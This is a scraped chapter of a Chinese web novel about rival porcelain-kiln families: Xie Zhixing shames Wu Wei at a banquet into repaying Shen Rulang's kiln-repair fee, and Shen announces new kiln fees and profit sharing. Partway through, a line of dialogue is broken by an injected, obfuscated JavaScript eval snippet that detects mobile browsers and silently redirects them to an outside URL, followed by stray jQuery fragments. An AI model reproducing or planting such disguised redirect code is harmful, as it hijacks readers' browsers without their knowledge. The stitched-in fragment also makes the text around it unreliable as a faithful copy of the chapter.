69. 精怪

作品:《碎碎平安

    欧阳瑾的行业地位直接扼住了谢家酒席的进度。


    几十个人各自入座,有说有笑,却愣是无一人动筷,吴渭更时不时引颈而望,直到看见欧阳瑾与谢织星一道走来,他眉心拧起一个不悦的弧度,顺势对谢正晌道:“谢兄真是有福之人,家中儿女如此玲珑出挑,有贵人提携,真是得了老天爷的眷顾,往后谢家窑飞黄腾达不在话下了。”


    隔壁桌的谢烈雨一听这话就不大痛快了,四妹妹说过什么来着,她如今这出息是她自己凭本事挣的,怎么到了姓吴的嘴里就怪模怪样了。


    谢烈雨脑子里的筋一多半都不会拐弯,他随便拣起一根,直愣愣地就冲着吴渭扎了过去,“老天爷长眼睛了,他会挑能成事儿的眷顾,也不是谁都行。”


    吴渭脸蓦地一黑。


    坐在附近的谢老三破天荒头一回觉得谢烈雨的脑袋战胜了他的屁股,他都想伸出手去拍一拍了。


    等谢烈雨说完,谢正晌继续和稀泥,“我家三哥儿没见过世面,就觉得他四妹妹是天底下最好,吴兄,你别同他计较,他那狗嘴里吐不出象牙。”


    吴渭就忽然领悟,谢家丫头那天不怕地不怕的泼胆确有来处,这当爹的当哥的,个个惯着她,怪道给养得不知天高地厚!


    “少年人,正是初生牛犊不怕虎的年岁,口无遮拦也在情理之中。只不过,咱们毕竟是做长辈的,有时也得狠下心来说道两句,否则哪天闯出祸事来就不妙了。”


    “吴叔指的是我未经父兄同意便与你打赌的事么?”


    说着话,谢织星就在沈如琅旁边坐下了,欧阳瑾与王蔺辰则坐到几步之遥的主位。


    见状,王蔺辰低声与欧阳瑾道:“瞧着吧,不出三句话,她能把吴坊主气到七窍冒烟。”


    于是,欧阳瑾便莫名生出几分坐看好戏的心态,甚至隐隐期待谢小娘子的发挥。


    吴渭却是在看见欧阳瑾后就立刻调转了话头,“后生可畏呐,方才还和你爹说呢,你小小年纪就有如此胆魄,将来不可限量。”


    “吴叔你心里不是这么想的吧?最早先那会还是你告诉我,女子烧窑,就像给属阳的窑火浇了盆属阴的水,那是决计好不了的。现在我们这琅窑出了八成好瓷,你又说后生可畏,怎么什么话都让你一人说完了。”


    “你……”吴渭涨红了脸,万万没想到,这小丫头片子的嘴竟然不分场合地吐毒水,她家里边没人教过她人情世故么?!


    欧阳瑾在旁听得嘴角上扬,王蔺辰却提醒道:“火候没到呢,我们家阿星可会记仇了。”


    果然,谢织星愈战愈勇,“而且,吴叔你也太不道义了。我和你的赌约已经成了儿戏,给你垫这么大个台阶叫你走了下来,那沈姐姐呢?你没什么想对她说的吗?”


    吴渭气得差点就想离席而去,可眼下情势对他十分不利。


    他一个大老爷们对阵一个黄毛丫头,若是较真,往后少不得要添个小肚鸡肠的名声,更何况欧阳备作还在这呢,瞧他那嘴带笑意的模样,摆明了就是把这臭丫头片子的话当童言稚语听。


    不行,不能挂脸子。


    吴渭用硬吞一个囫囵熟鸡蛋的狠劲儿把自己的怒火强行压制了,抽搐着嘴角抖落出几分寡淡的笑意,“这里头还有沈家娘子的事儿?”


    “当然有,”谢织星看了眼同样莫名其妙的沈如琅,“欢宴楼的席面可叫你省下一大笔钱了,那当初你找沈姐姐补窑的工钱是否能还给她?那窑补得不错吧?沈姐姐是靠手艺吃饭的,琅窑也是她搭的,一贯钱补窑工费,怎么都说不过去。”


    闻言,欧阳瑾笑意微敛,眼神在沈如琅与谢织星两位娘子之间辗转。


    “这、这是自然,一贯钱补窑本就是说笑罢了。沈家娘子的挛窑手艺我们如今也都看在眼里,这钱自然要补,要补。”


    谢织星却纠正道:“不失‘补’,是‘还’。”


    她锐亮的眼眸盯住吴渭,不依不饶,“当初一贯钱是你提的,沈姐姐忍辱负重才接的活。现如今她的手艺她的能力,各位叔叔伯伯也都瞧见了,值不值,大家心里应该有数。这钱本就该她得,你们不能再找任何理由来欺负她了。”


    坐在不远处的沈闳愕然抬头看她,心中既惭愧又欣慰。


    在场的人有不少也参加过当初开元寺的拜师礼,对一贯钱的补窑工事亦耳闻亲见,只是那会儿大家多少存着看好戏的心思,而眼下这好戏终究是转回到了自己身上。


    人们在隔岸观火时,总是很难意识到报应不爽与唇亡齿寒的无数次前事之诲。


    大伙你看看我,我看看你,击鼓传花似的把眼神传递的终点交会给了吴渭,此时此刻的吴渭才真正感同身受了当初沈如琅接下工事时的愤懑与憋气。


    那时他哪知道这么个小娘子能揽得下挛窑活计,还起了个新窑样式,八成好瓷!早知如此,姓沈的窝里斗关他姓吴的屁事?不去横插那一脚,他如今何至于此?


    假使谢织星听到他这会儿的所思所想,一定会毫不留情地戳破他:重来一万次你也还是会替你心中的“沈大匠”出那个不知所谓的头。


    性格决定命运,做瓷的不琢磨瓷,天天光琢磨人,能有个好么。


    吴渭被逼得没办法,心中万般不愿,却还得硬着头皮站起来收拾自己‘有眼不识泰山’的残局,他颇为含恨地看着谢织星,甫一张口,却见沈如琅站起来拱了拱手,“我与谢四娘情如姊妹,今日四娘是为我才出言相护,吴坊主莫要怪她,她年岁小,不知人心险恶。”


    吴渭脑门上缓缓冒出个大大的问号。


    她站起来是补刀的?


    今儿这场合竟是一个世故人都没有么?


    “诸位,谢家的新窑是由我和我的父亲一同搭建,与从前的旧样式区别迥异,我知道,大家对我们父女颇有微词,也理解大家一时半会难以相信我这样的一个深闺女子竟会挛窑……因而我十分珍惜从始至终信任我陪伴我的谢四娘,没有她,就不会有我沈如琅的今日。”


    她微侧过身,轻轻握住谢织星的手,那满布手纹的掌心互相传递着一种温暖又坚定的力量,“承蒙诸位今日特来捧场观窑,我与我父慎重商议后决定,往后我们父女二人执掌的每一个窑炉,都与谢四娘共享其利。”


    “沈姐姐……”


    “织星,这琅窑本就是我们一起努力才有的成果,这也是你应得的。”说着,她压低了声音,“你要是不同意,以后我就不挛窑了,你总得让我良心也过得去吧?”


    谢织星就不说话了,她转头看了眼王蔺辰,只见他微微点了个头。


    沈如琅说完话,就有瓷坊主紧跟着问道:“不知沈娘子可否为我家瓷坊掌挛窑工事?我也想起个新窑,敢问价钱几何?”


    沈娘子要把钱分给谁,他们才不关心呢,他们这会就眼巴巴盯着那新琅窑,唯恐落下这等好事。


    沈如琅道:“诸位坊主莫急,谢家新窑乃是这新图纸的初次尝试。每次烧制我都在旁观测,尚有几处不足之处,我想等这第一座琅窑再多烧几次,待最终调整修改图样后再接诸位的工单。”


    大伙一听,心里马上盘算起来:初尝试就有八成好瓷,再经过调整修改……那不得更上层楼?


    “好说好说,那这价格……”


    沈如琅爽快宣布道:“诸位照旧自备耐火砖泥,工费五十贯。”


    五十贯的价码比沈如翰开得高一些,但近来听说那个沈涨价了,得要七十贯,照这么算,琅窑的工费几乎是碾压式胜利。众人听了之后,各自暗暗在心中计较,直到酒席散去,这些个瓷坊主仍在三三两两地交头接耳。


    王蔺辰满意地看着他们的背影,期待着新窑的消息化成一颗陨石,点对点精准砸进沈府的大门。


    客人们走后,王蔺辰与欧阳瑾约好了去定州瓷作找秦行老议事的时间,而后欧阳瑾格外多看了沈如琅几眼才告辞。


    谢烈雨对那几眼颇为介意,用肩膀撞谢织星,“小四,他看什么呢?那眼神怪怪的,对着你……沈姐姐那么个看法,他不会在盘算什么吧?”


    谢织星上下打量了他片刻,把他看得浑身不自在,“关你什么事?他喜欢看沈姐姐就看呗,男未婚女未嫁的,看几眼怎么了?”


    谢烈雨罕见地结巴了,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16917798|182999||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这……男未婚女未嫁才不合适呢,我看他,别有居心。”


    谢织星笑得有点贼,“别有居心好啊,到时他要一不小心成了沈姐姐的夫君,咱们跟大定坊的关系说不定更近了。”


    “你、你怎么能这样?臭丫头,你这是卖姐求荣!”


    眼看着谢烈雨气急败坏地走开,谢织星乐得哈哈大笑,她倒是不曾注意,谢烈雨这家伙的脑子里居然能开情窍?就因为上回无意中抱了下沈姐姐,这是一见钟情的意思了?


    “笑什么这么开心,你又欺负你哥?”王蔺辰见她乐呵,凑到身边来,“难得,雨哥竟然认栽,你俩不打一架?”


    “嘁,他才不会跟我打这一架,回头我给他闹大,他没脸见人。”说着,她神思一动,意有所指道,“我刚才发现谢烈雨可能对沈姐姐有点意思,好像多少沾点‘一见钟情’的边吧,总之,这家伙一定是见色起意。”


    王蔺辰忽然心虚,眼神往外飘,“你沈姐姐长在他审美点上了,见色起意也挺正常的吧?爱美之心么,谁都有。”


    “那你有么?”


    “我、我有啊,不是跟你说过?我觉得你就挺好看。”


    谢织星点了点头,“除了我呢,还有没有觉得长得好看的了?”


    王蔺辰马上警惕起来,唯恐她动‘媒婆’的心思,断然回道:“暂时没有,就你好看。”


    谢织星眉毛一扬,那打了个褶的眉尾像一对帘钩,忽然就把拦在眼前的纱帘分别拢到两侧,她于是清晰地看到了原先被掩盖的内景——就觉得她好看?这要说他对她没点意思,谁信?


    王蔺辰被她的眼神刮得头皮发麻,莫名感觉自己脱了一层皮似的,此地无银地强自镇定:“这么看我做什么,我可不是见色起意的那种人,我知道,你瞧不上这种的,放心吧,我人品好着呢,路遥知马力,往后你就知道了。”


    原来铆着劲儿等着展示人格魅力么?


    “哦,那就等着看以后咯。”


    “诶,谢小七,你这话说的……几个意思啊?”


    王蔺辰刚追了她两步,就见到谢正晌与沈闳走过来,两位长辈似乎有事找她。


    “小四,我刚才跟你沈叔谈了谈,这个挛窑工费怎好抽成给我们?这做法不对,咱们家又不是挛窑的,咱们是烧瓷的,这钱不是这么个赚法。”


    谢织星转头给王蔺辰使了个眼色,“这事儿你跟阿爹说,反正是你想出来的主意。”


    谢正晌疑道:“什么主意?”


    王蔺辰就把先前商量好的方案和盘托出。


    事实上,当时王蔺辰提出的“备用金”方案是这样的:沈家父女把每次挛窑工费的千分之五捐交给定州瓷作,以备用金的形式留存,由秦行老、沈闳与大定坊三方共同监督这笔钱的盈利与使用,算是他们为定瓷行当做的一点贡献。


    此举一方面是为收拢人心,另一方面,沈家父女确非钻进钱眼的人,这新窑一旦普及,他们挣的钱只多不少,父女俩本也无意‘效仿’沈闰,再搭出个高门沈府来,还不如捐出一部分为整个瓷业行当出点力。


    而方才酒席上,沈如琅对这个方案进行了微调:她对大伙明说要把挛窑的工费分一部分给谢织星,而后再由谢家出面把这笔钱捐送到瓷作。


    事儿还是那么件事,但这笔钱到谢家拐了一道,定州瓷作承的就是谢家窑的情分,如此往后,谢家窑就不再是那个名不见经传的小破瓷坊了。


    谢正晌听完后沉默良久,他张了张嘴,发现自己两瓣嘴皮子老实得发木,辰哥儿说的话他都听明白了,但心头总萦绕着一种淡淡的忧伤——感觉自己大半辈子活到狗身上去了。


    这帮小子忒精怪。


    与此同时,沈府大门内的陨石已经精准地在沈闰脑门上砸出了一个大坑,他坐着愣了半天,仍不能相信,那乞丐似的父女俩竟能捣鼓出个崭新的窑炉式样,老天爷,八成好瓷!这是哪个神仙瞎了眼给开的后门?


    怎么可能!


    惊骇之余,他想起上次秦行老说的话,一条‘富贵险中求’的毒计就这么水灵灵地从坑洼的陨石坑底里蹦了出来。